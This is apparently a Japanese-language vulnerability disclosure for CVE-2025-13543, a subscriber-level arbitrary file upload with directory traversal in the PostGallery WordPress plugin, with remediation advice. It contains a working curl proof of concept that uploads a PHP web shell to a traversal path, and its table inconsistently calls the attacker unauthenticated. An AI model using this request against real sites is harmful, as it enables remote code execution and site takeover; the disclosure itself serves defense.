PostGallery-CVE-レポート

CVE-2025-13543 の開示

CVE-2025-13543 - PostGallery の脆弱性

このリポジトリは、PostGallery <= 1.12.5（rtowebsites によって開発された WordPress プラグイン）で発見された脆弱性を開示します。

🛠 影響を受けるバージョン

プロダクト: PostGallery
バージョン: <= 1.12.5
URL: https://wordpress.org/plugins/postgallery/

🔒 割り当てられた CVE

CVE ID	種類	コンポーネント	影響
CVE-2025-13543	認証済み（購読者以上）任意ファイルアップロード	lib/ajax-actions/imageUpload.php　 admin/PostGalleryUploader.php	認証されていない攻撃者が任意のファイルをアップロードできる

🧾 詳細な説明

CVE-2025-13543 — 認証済み（購読者以上）任意ファイルアップロード

影響を受けるコンポーネント: PostGallery AJAX アップロードハンドラ (postgalleryAjaxUpload) および PostGalleryUploader バックエンド
攻撃ベクトル: 認証済み（購読者以上）任意ファイルアップロード（ディレクトリトラバーサル経由）
トリガー: 認証された低権限ユーザー（購読者など）は、ディレクトリトラバーサルを介して攻撃者が制御するパスに任意の PHP ファイルをアップロードできます。

curl -k -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_<hash>=<your_cookie>" \
  -F "action=postgalleryAjaxUpload" \
  -F "postid=1" \
  -F "uploadFolder=../../../" \
  -F "name=shell.php" \
  -F "[email protected];type=application/x-php"

影響: 認証された低権限ユーザー（購読者など）は、ディレクトリトラバーサルを介して攻撃者が制御するパスに任意の PHP ファイルをアップロードできます。これにより、Web サーバーのコンテキストでのリモートコード実行が可能になり、サイトコンテンツの改ざん、wp-config.php やデータベース認証情報の流出、永続的なバックドアの展開、不正な管理者アカウントの作成など、サイト全体の侵害につながります。

❓脆弱性の原因

lib/ajax-actions/imageUpload.php では、アップロードを処理する前に適切な認可（例：current_user_can('upload_files') の要求）を強制し、暗号化 nonce を検証します。
admin/PostGalleryUploader.php では、uploadFolder を wp-content/uploads/gallery の既知のサブディレクトリに厳密に制限し、../ や絶対パスを含む値を拒否し、使用前にパスを正規化します。
WordPress の標準的なアップロード API（wp_handle_upload() / wp_check_filetype_and_ext() など）を使用し、アップロードを非実行可能なメディアタイプのホワイトリストに制限し、Web アクセス可能なディレクトリで .php やその他の実行可能な拡張子を明示的にブロックします。

ひとこと

こんなCTFみたいな脆弱性が存在するなんて...と思った。任意ファイルアップロードだけでもやばいのに、ディレクトリトラバーサルがあるという絶望脆弱性の再現がとても楽しかった。

🔍 発見者

名前: MooseLove
役割: 独立したセキュリティ研究者 / バグハンター
連絡先: リクエストに応じて提供

📚 参考文献

プロダクト: https://wordpress.org/plugins/postgallery/

⚠️ ライセンス

このアドバイザリは、公開セキュリティ啓発のために提供されています。クレジットを記載して自由に共有してください。

PostGallery-CVE-Report

人気